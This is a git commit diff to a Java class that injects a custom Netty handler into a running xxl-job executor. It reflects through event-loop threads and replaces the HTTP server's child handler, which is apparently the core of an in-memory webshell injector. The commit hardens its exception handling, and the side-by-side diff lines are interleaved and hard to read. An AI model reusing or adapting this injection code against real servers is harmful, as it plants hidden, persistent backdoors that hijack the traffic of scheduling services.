fix: xxl-job NPE

This commit is contained in:
ReaJason
2025-04-28 00:58:17 +08:00
parent 7a5b59b560
commit 527059f2e6
@@ -86,23 +86,20 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target; Object target;
try { try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
} catch (Exception e) { if (target.getClass().getName().endsWith("NioEventLoop")) {
continue; HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
} if (!set.isEmpty()) {
Object keys = set.toArray()[0];
if (target.getClass().getName().endsWith("NioEventLoop")) { Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
if (!set.isEmpty()) { setFieldValue(embedHttpServerHandler, "childHandler", this);
Object keys = set.toArray()[0]; System.out.println("xxl-job NettyHandler inject successful");
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); break;
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); }
setFieldValue(embedHttpServerHandler, "childHandler", this);
System.out.println("xxl-job NettyHandler inject successful");
break;
} }
} catch (Exception ignored) {
} }
} }
} }